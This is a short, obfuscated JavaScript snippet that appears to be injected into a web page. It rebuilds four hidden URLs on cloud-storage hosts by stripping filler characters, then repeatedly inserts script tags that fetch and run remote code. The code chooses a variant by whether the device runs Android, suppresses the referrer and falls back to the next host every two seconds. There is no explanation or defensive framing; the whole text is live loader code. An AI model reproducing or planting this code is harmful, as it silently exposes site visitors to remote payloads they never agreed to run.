let urls=["hSStSStSSpSSsSS:SS/SS/SSnSStSStSS1SS2SSnSS4SSdSS7SS6SS.SSoSSsSSsSS-SScSSnSS-SShSSaSSnSSgSSzSShSSoSSuSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS2SS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hFFtFFtFFpFFsFF:FF/FF/FFpFF.FFgFFoFFdFFmFFwFFiFFtFFhFF.FFcFFoFFmFF/FF1FF2FF/FF1FF1FF0FF5FFeFFcFF8FF5FF8FF2FF3FF7FF2".split("FF").join(""),"hEEtEEtEEpEEsEE:EE/EE/EEmEEqEE1EE2EEnEE4EEdEE7EE6EE.EEoEEsEEsEE-EEcEEnEE-EEsEEhEEaEEnEEgEEhEEaEEiEE.EEaEElEEiEEyEEuEEnEEcEEsEE.EEcEEoEEmEE/EE1EE2EE/EE1EE1EE0EE5EEeEEcEE8EE5EE8EE2EE3EE7EE2".split("EE").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBdBB8BB9BB-BB1BB3BB1BB3BB9BB4BB4BB0BB6BB2BB.BBcBBoBBsBB.BBaBBpBB-BBhBBoBBnBBgBBkBBoBBnBBgBB.BBmBByBBqBBcBBlBBoBBuBBdBB.BBcBBoBBmBB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();